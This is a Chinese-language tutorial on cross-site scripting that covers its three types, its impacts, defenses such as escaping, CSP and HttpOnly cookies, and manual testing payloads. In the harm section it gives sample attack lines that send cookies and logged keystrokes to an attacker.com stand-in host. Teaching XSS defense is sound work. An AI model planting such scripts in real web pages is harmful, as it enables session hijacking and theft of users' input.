xss漏洞

1. XSS漏洞概述

XSS(Cross-Site Scripting,跨站脚本攻击)​​ 是一种安全漏洞,攻击者通过向网页注入恶意脚本(通常是JavaScript),使得这些脚本在受害者的浏览器中执行。XSS漏洞通常发生在Web应用程序未对用户输入进行适当过滤和转义的情况下。

1.1 XSS漏洞的核心特点

  • 攻击方式:攻击者注入恶意脚本,受害者浏览器执行。
  • 利用点:Web应用程序未正确过滤用户输入。
  • 影响范围:可窃取用户Cookie、会话令牌,篡改网页内容,甚至控制用户浏览器。

2. XSS漏洞分类

XSS漏洞主要分为三类:​反射型XSS、存储型XSS、DOM型XSS

2.1 反射型XSS(Reflected XSS)​

  • 特点
    • 恶意脚本来自当前HTTP请求(如URL参数)。
    • 不会存储在服务器上,仅影响点击恶意链接的用户。
  • 攻击流程
    1. 攻击者构造恶意URL,如:

      复制代码

      复制

      复制代码
      http://example.com/search?q=<script>alert('XSS')</script>
    2. 诱骗用户点击该URL(如通过钓鱼邮件、社交工程)。

    3. 服务器返回包含恶意脚本的页面,用户浏览器执行该脚本。

  • 典型场景
    • 搜索框、错误消息、URL参数等未过滤的输入点。

2.2 存储型XSS(Stored XSS / Persistent XSS)​

  • 特点
    • 恶意脚本存储在服务器(如数据库、文件、缓存)。
    • 所有访问受影响页面的用户都会执行该脚本。
  • 攻击流程
    1. 攻击者提交恶意内容(如评论、留言

      复制代码
      <script>alert('XSS')</script>
    2. 服务器存储该内容并返回给其他用户。

    3. 受害者访问该页面时,恶意脚本自动执行。

  • 典型场景
    • 论坛评论、用户资料、博客文章等可存储用户输入的地方。

2.3 DOM型XSS(DOM-based XSS)​

  • 特点
    • 完全在客户端执行,不涉及服务器。
    • 由于JavaScript动态修改DOM导致的安全问题。
  • 攻击流程
    1. 攻击者构造特殊URL,如:

      复制代码

      复制

      复制代码
      http://example.com/#<script>alert('XSS')</script>
    2. 用户访问该URL,前端JavaScript解析URL并写入Dom

      复制代码
      document.write(location.hash.substring(1));
    3. 恶意脚本被执行。

  • 典型场景
    • 使用location.hashdocument.writeinnerHTML等动态操作DOM的代码。

3. XSS攻击的危害

XSS漏洞可导致多种严重安全问题:

3.1 窃取用户数据

  • 盗取Cookie :攻击者可窃取用户的会话Cookie,劫持账户。

    复制代码
    document.location='http://attacker.com/steal?cookie='+document.cookie;
  • 获取表单数据 :监听oninput事件窃取密码。

  • 读取本地存储 :访问localStoragesessionStorage

3.2 会话劫持

  • 冒充用户执行操作(如转账、修改资料)。
  • 利用XMLHttpRequestfetch发送恶意请求。

3.3 网页篡改

  • 修改页面内容(如插入虚假登录框)。

  • 重定向到恶意网站:

    复制代码
    window.location.href = "http://phishing-site.com";

3.4 键盘记录

  • 监听onkeypress事件记录用户

    复制代码
    document.onkeypress = function(e) { 
      fetch('http://attacker.com/log?key=' + e.key);
    };

3.5 传播蠕虫

  • 自动转发恶意链接(如社交网络XSS蠕虫)。

4. XSS防御措施

4.1 输入过滤与转义

复制代码
function escapeHtml(text) {
  return text
    .replace(/&/g, "&amp;")
    .replace(/</g, "&lt;")
    .replace(/>/g, "&gt;")
    .replace(/"/g, "&quot;")
    .replace(/'/g, "&#039;");
}
  • JavaScript转义

    复制代码
    function escapeJs(text) {
      return text.replace(/"/g, '\\"');
    }

4.2 输出编码

  • 前端框架自动转义
    • React:默认转义{userInput}
    • Vue.js:v-text自动转义,v-html需谨慎使用。

4.3 使用Content Security Policy (CSP)​

  • 限制脚本来源:

    复制代码
    Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com

4.4 HttpOnly Cookie

  • 防止JavaScript访问

    复制代码
    Set-Cookie: sessionId=123; HttpOnly; Secure

4.5 避免危险的DOM操作

  • 避免使用innerHTMLdocument.write,改用textContent

    复制代码
    element.textContent = userInput; // 安全
    element.innerHTML = userInput;  // 危险

5. 测试与检测XSS漏洞

5.1 手动测试

  • 尝试注入基本Payload:

    复制代码
    <script>alert(1)</script>
    <img src=x onerror=alert(1)>
  • 检查是否被转义:

    复制代码
    &lt;script&gt;alert(1)&lt;/script&gt; <!-- 已转义 -->

5.2 自动化工具

  • Burp Suite:扫描XSS漏洞。
  • OWASP ZAP:自动化安全测试。
  • XSS Hunter:检测存储型XSS。

6. 总结

类型 存储位置 触发方式 防御措施
反射型XSS URL参数 用户点击恶意链接 输入过滤、输出编码
存储型XSS 数据库 访问受感染页面 严格输入验证、CSP
DOM型XSS 前端JS 动态DOM操作 避免innerHTMLeval
相关推荐
蜚鸣19 分钟前
JavaScript中国手机号校验
前端
秋田君23 分钟前
Electron 安装踩坑实录
前端·javascript·electron
excel25 分钟前
《深入理解单页应用(SPA):原理、实现与SPA/MPA对比全解析》
前端
RoyLin30 分钟前
微任务与宏任务
前端·后端·node.js
IT_陈寒34 分钟前
Redis 性能提升秘籍:这5个被低估的命令让你的QPS飙升200%
前端·人工智能·后端
多看书少吃饭34 分钟前
前端实现抽烟识别:从算法到可视化
前端·算法
excel36 分钟前
合并路由与微前端框架的对比解析
前端
aesthetician1 小时前
clsx:高效处理 React 条件类名的实用工具
前端·react.js·前端框架
粉末的沉淀1 小时前
css:固定跨度间隔的渐变色设置
前端·css
阿正的梦工坊1 小时前
Mac电脑解决 npm 和 Yarn 安装时的证书过期问题
前端·macos·npm